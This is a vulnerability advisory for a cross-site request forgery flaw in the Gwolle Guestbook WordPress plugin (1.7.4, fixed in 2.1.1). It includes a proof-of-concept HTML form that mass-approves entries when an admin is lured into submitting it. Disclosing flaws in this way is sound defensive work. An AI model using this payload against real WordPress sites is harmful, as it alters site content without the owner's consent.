Abstract
A Cross-Site Request Forgery (CSRF) vulnerability was found in the Gwolle Guestbook WordPress plugin. This issue can be used by an attacker to mass approve of disapprove entries. In order to exploit this issue, the attacker needs to lure a victim with editor or admin privileges to an attacker-controlled page or trick him into clicking a malicous link.
OVE ID
OVE-20160724-0001
Tested versions
This issue was succesfully tested on the Gwolle Guestbook WordPress Plugin version 1.7.4.
Fix
This issue was fixed in Gwolle Guestbook version version 2.1.1. The most recent version of Gwolle Guestbook can be obtained from the following location: https://wordpress.org/plugins/gwolle-gb/
Introduction
Gwolle Guestbook for WordPress is a guestbook made in order to provide an easy and slim way to integrate a guestbook into your WordPress powered site. Don't use your 'comment' section the wrong way - install Gwolle Guestbook and have a real guestbook.
A Cross-Site Request Forgery vulnerability was found in Gwolle Guestbook. This issue can be used by an attacker to mass approve of disapprove entries. In order to exploit this issue, the attacker needs to lure a victim with editor or admin privileges to an attacker-controlled page or trick him into clicking a malicous link.
Details
The Gwolle guestbook allows actions to be performed on multiple entries at once (mass-action
). Although actions performed on a single entry do provide protection against Cross-Site Request Forgery (CSRF) by using wp-nonces
, mass-action
lacks this protection. Since the entry IDs are enumerable it allows an attacker to mass approve of disapprove entries.
Proof of Concept
The following proof of concept code demonstrates this issue:
<html>
<body>
<form action="http://<target>/wordpress/wp-admin/admin.php?page=gwolle-gb%2Fentries.php" method="POST">
<input type="hidden" name="gwolle_gb_page" value="entries" />
<input type="hidden" name="pageNum" value="1" />
<input type="hidden" name="entriesOnThisPage" value="2" />
<input type="hidden" name="show" value="all" />
<input type="hidden" name="massEditAction1" value="check" />
<input type="hidden" name="doaction" value="Apply" />
<input type="hidden" name="check-2" value="on" />
<input type="hidden" name="check-1" value="on" />
<input type="hidden" name="massEditAction2" value="-1" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>